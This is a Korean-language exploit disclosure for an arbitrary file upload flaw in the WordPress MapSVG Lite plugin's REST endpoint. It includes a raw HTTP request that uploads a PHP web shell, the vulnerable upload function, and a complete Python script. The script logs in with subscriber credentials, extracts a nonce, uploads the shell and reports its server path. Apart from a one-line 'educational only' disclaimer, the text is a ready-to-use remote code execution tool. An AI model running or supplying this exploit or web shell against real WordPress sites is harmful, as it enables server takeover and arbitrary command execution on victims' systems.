
WordPress MapSVG Lite Plugin <= 8.5.34에 임의 파일 업로드 취약점이 존재합니다.
WordPress용 MapSVG Lite 플러그인은 REST API 엔드포인트를 통해 SVG 파일을 업로드할 때 파일 유형을 검증하지 않습니다:
/wp-json/mapsvg/v1/svgfile
이로 인해 인증된 공격자(Subscriber+)가 SVG로 위장한 임의의 PHP 파일을 업로드하여 원격 코드 실행(RCE)을 유발할 수 있습니다.
POST /wp-json/mapsvg/v1/svgfile HTTP/1.1
Host: 192.168.100.74:888
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://target.com/wp-admin/admin.php?page=mapsvg-config
X-WP-Nonce: 4febb3ff50
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------155355665422604566641836454807
Content-Length: 298
Origin: http://192.168.100.74:888
Connection: keep-alive
Cookie:
-----------------------------155355665422604566641836454807
Content-Disposition: form-data; name="file"; filename="nxploit.php"
Content-Type: text/xml
<!--?php
if(isset($_GET['cmd'])) {
system($_GET['cmd']);
}
?-->
-----------------------------155355665422604566641836454807--
mapsvg-lite-interactive-vector-maps.php 파일의 다음 취약한 코드 조각은 문제점을 보여줍니다:
public function uploadSVG() {
$file = $_FILES['file'];
$upload = wp_upload_bits($file['name'], null, file_get_contents($file['tmp_name']));
return new \WP_REST_Response(["file" => $upload], 200);
}
이 함수는 REST 엔드포인트 /wp-json/mapsvg/v1/svgfile에 직접 매핑됩니다.
# By: Nxploited | Khaled Alenazi
import requests
import argparse
import re
requests.packages.urllib3.disable_warnings()
session = requests.Session()
session.verify = False
user_agent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36"
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url", required=True)
parser.add_argument("-un", "--username", required=True)
parser.add_argument("-p", "--password", required=True)
args = parser.parse_args()
login_url = f"{args.url}/wp-login.php"
resp = session.post(login_url, data={
'log': args.username,
'pwd': args.password,
'rememberme': 'forever',
'wp-submit': 'Log In'
}, headers={"User-Agent": user_agent})
if 'wordpress_logged_in' not in str(session.cookies):
print("[-] Login failed")
exit()
print("[+] Logged in successfully.")
nonce_page = session.get(f"{args.url}/wp-admin/admin.php?page=mapsvg-config")
match = re.search(r'"nonce":"([a-f0-9]+)"', nonce_page.text)
if not match:
print("[-] Failed to extract nonce")
exit()
nonce = match.group(1)
print(f"[+] Found nonce: {nonce}")
upload_url = f"{args.url}/wp-json/mapsvg/v1/svgfile"
print(f"[+] Uploading file to: {upload_url}")
payload = {'file': ('nxploit.php', '<?php if(isset($_GET[\'cmd\'])){ system($_GET[\'cmd\']); } ?>', 'application/x-php')}
headers = {
'X-WP-Nonce': nonce,
'Referer': f"{args.url}/wp-admin/admin.php?page=mapsvg-config",
'X-Requested-With': 'XMLHttpRequest',
'User-Agent': user_agent
}
res = session.post(upload_url, files=payload, headers=headers)
try:
json_res = res.json()
print("[+] Server response (formatted):")
print("File Name :", json_res['file']['name'])
print("URL :", json_res['file']['relativeUrl'])
print("Path Short :", json_res['file']['pathShort'])
print("Server Path :", json_res['file']['serverPath'])
print("\nExploited By : Nxploited | Khaled Alenazi")
except:
print("[-] Upload failed or invalid response.")
이 취약점을 악용하면 공격자는 /wp-content/uploads/mapsvg/ 디렉토리에 .php 웹 셸을 업로드하고 서버에서 임의의 명령을 실행할 수 있습니다.
Nxploited | Khaled Alenazi
이 프로젝트는 교육 목적으로만 제공됩니다. 허가 없이 시스템에 무단으로 접근하는 것은 불법입니다.